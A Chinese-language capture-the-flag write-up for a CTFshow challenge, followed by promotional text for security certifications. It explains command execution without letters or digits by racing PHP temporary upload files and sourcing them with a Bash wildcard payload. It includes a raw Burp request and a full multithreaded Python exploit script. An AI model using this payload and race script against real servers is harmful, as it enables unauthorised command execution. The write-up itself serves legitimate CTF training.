尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTFshow无字母数字命令执行

CTFshow无字母数字命令执行 一、题目概述一、题目核心原理1. 题目过滤所有字母、数字仅允许符号执行命令可利用 Bash 通配符、source 命令实现无字母数字执行。2. 后端逻辑接收 POST 表单同时支持 code 参数命令执行、file 文件上传文件上传后会在/tmp/目录生成随机命名 PHP 临时文件请求结束瞬间自动删除。3. 核心漏洞竞争条件。在临时文件生成后、系统删除前的极短时间窗口内通过通配符匹配临时文件并 source 执行即可触发自定义命令读取 Flag。4. 核心 Payload. /???/????????[-[]作用通过 Bash 通配符匹配/tmp/下的临时文件.等价 source 命令执行文件内预设指令。二、方法一Burp Suite Intruder 竞速通关法纯工具打法1. 前置准备1.1 打开 CTFshow 第五关点击【打开环境】等待15秒容器完全初始化浏览器访问靶场地址确认正常打开表单页面无404、无加载转圈。1.2 打开 Burp Suite确保代理正常无需抓包直接使用内置 Repeater 功能。2. 完整可用数据包直接复制使用将下方数据包完整粘贴到 Burp Repeater 原始模式替换为自己的靶场 Host禁止修改换行、分隔符、空格。Plain TextPOST / HTTP/1.1Host: 你的靶场域名User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; namecode. /???/????????[-[]----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; namefile; filenamea.txtContent-Type: text/plaincat flag.php----WebKitFormBoundary7MA4YWxkTrZu0gW--3. 数据包校验3.1 发送单次请求响应页面出现execute success!即为格式正常。3.2 若返回空白表单、404代表容器未就绪或数据包格式错误优先等待容器初始化禁止直接爆破。4. Intruder 自动化竞速配置关键步骤4.1 右键正常数据包选择Send to Intruder快捷键 CtrlI。4.2 切换到【Positions】标签点击右侧Clear §清空所有标记点保证数据包原样发送、无任何篡改。4.3 切换到【Payloads】标签- Payload 类型选择Null payloads空载荷重复发包- 生成数量填写600-1000数量越高命中率越高4.4 专业版 Burp 切换【Resource pool】新建资源池并发线程设置12-20提升竞速效率社区版无线程设置直接默认发包。4.5 点击右上角【Start attack】开始自动发包。5. 获取 Flag5.1 攻击列表中绝大多数请求响应长度一致仅返回执行成功提示。5.2 筛选响应长度不同的请求查看 Response 响应内容包含CTF{}格式内容即为 Flag。三、方法二Python多线程竞速通关法高效稳定推荐1. 前置依赖本地安装 Python 环境打开命令提示符执行依赖安装Plain Textpip install requests2. 完整通关脚本无DNS回显直接页面获取Flag脚本内置多线程并发一边循环上传文件生成临时文件一边循环执行通配符命令最大化命中竞争窗口自动识别并输出 Flag。Plain Textimport requestsimport threading# 替换为自己的有效靶场域名确保浏览器可正常访问、无404TARGET http://3601bae8-0b03-4671-986f-45d2072c545f.challenge.ctf.show/# 临时文件执行指令读取FlagFILE_CONTENT bcat flag.php\n# 无字母数字命令执行PayloadCODE_PAYLOAD {code: . /???/????????[-[]}# 程序终止标记stop_flag False# 多线程循环上传文件持续生成/tmp临时文件def upload_loop():global stop_flagwhile not stop_flag:try:files {file: (a.txt, FILE_CONTENT)}requests.post(TARGET, filesfiles, timeout2)except Exception:continue# 多线程循环执行命令匹配临时文件并执行def exec_loop():global stop_flagcount 0while not stop_flag:try:resp requests.post(TARGET, dataCODE_PAYLOAD, timeout2)count 1# 每200次打印运行状态避免卡死无反馈if count % 200 0:print(f已累计发送 {count} 次执行请求持续竞速中...)# 识别到Flag自动终止程序if CTF{ in resp.text:print(\n 成功获取Flag )print(resp.text)stop_flag Truebreakexcept Exception:continueif __name__ __main__:try:print( CTFshow Web5 竞争条件竞速脚本启动 )print(确认靶场可正常访问等待命中Flag...\n)# 开启6组上传线程大幅提升命中率for _ in range(6):t_upload threading.Thread(targetupload_loop, daemonTrue)t_upload.start()# 开启执行线程t_exec threading.Thread(targetexec_loop, daemonTrue)t_exec.start()# 持续运行直至获取Flagwhile not stop_flag:pass# 手动CtrlC终止程序捕获except KeyboardInterrupt:print(\n程序手动终止运行结束)stop_flag True3. 脚本使用步骤3.1 确认靶场容器正常浏览器可打开表单页面、无404。3.2 将脚本中TARGET变量替换为自己的靶场地址。3.3 保存脚本为exp.py命令行执行python exp.py。3.4 脚本自动循环竞速成功命中后直接打印完整 Flag 并自动停止。四、通用避坑总结两种方法通用1. 靶场404必失败新打开环境必须等待15秒初始化浏览器可正常访问后再操作。2. 禁止频繁刷新靶场页面会加速容器过期销毁。3. Burp 数据包禁止修改换行、空格、boundary 分隔符格式错误会导致解析失败。4. 长时间未命中 Flag直接重启靶场容器新容器竞争窗口更稳定。5. Payload. /???/????????[-[]中点后面必须保留空格删除空格直接失效。整理自己一路考下的各类技术证书分享系统学习路径来一起提升技术网安攻防、华为认证、ArkTS 鸿蒙开发、云计算全栈完整学习路径尽在【http://xiaojingsai.top/security】!1. NISP一级 / NISP二级在校生专属适合大一至大四网安学生、零基础入门人员。可用于学分认定、奖学金、校招简历加分、护网参赛资质毕业可换证升级高阶证书。2. CISP / CISP-PTE政企高薪刚需政企项目投标必备、安全运维、渗透测试、红队岗位硬性证书。CISP-PTE 考试题型高度贴合 CTF 靶场实操会刷题备考效率翻倍。3. 软考职称、落户、终身有效人社部工信部双认证终身有效、无需年审。国企、公务员、银行、电网评优评职称、积分落户、技能补贴必考证书。4. 华为安全认证HCIA/HCIP/HCIE运营商、集成商、华为生态企业通用硬通货运维、安全架构、项目技术岗晋升必备资质。八、分人群精准考证规划博主一对一专属方案在校学生CTF实战练技术 → NISP打底 → 毕业冲刺CISP-PTE华为认证校招直接逆袭零基础转行网络基础 → CTF入门打靶 → 华为HCIA入门 → NISP二级打底 → 年限达标考PTE高薪证国企/体制内软考评职称 CISP做项目合规双证完美搭配红队/渗透爱好者CISP-PTE HCIP技术落地、持证上岗九、关注我免费领取专属福利一对一咨询✅为什么一定要关注我全网唯一CTF实战闯关 网安证书落地 就业求职规划 全套体系博主别人只教你做题我教你会做题、能考证、好就业✅免费福利关注即可领取1. 本关完整可复制源码 注入速记笔记2. NISP/CISP-PTE/软考/华为四大证书最全报考指南3. 全套CTF闯关Writeup题库持续更新✅一对一免费咨询不清楚自己适合考什么证书不知道报考条件、费用、难度、备考周期直接私信我根据你的身份学生/转行/在职免费定制专属网安学习考证就业路线
返回列表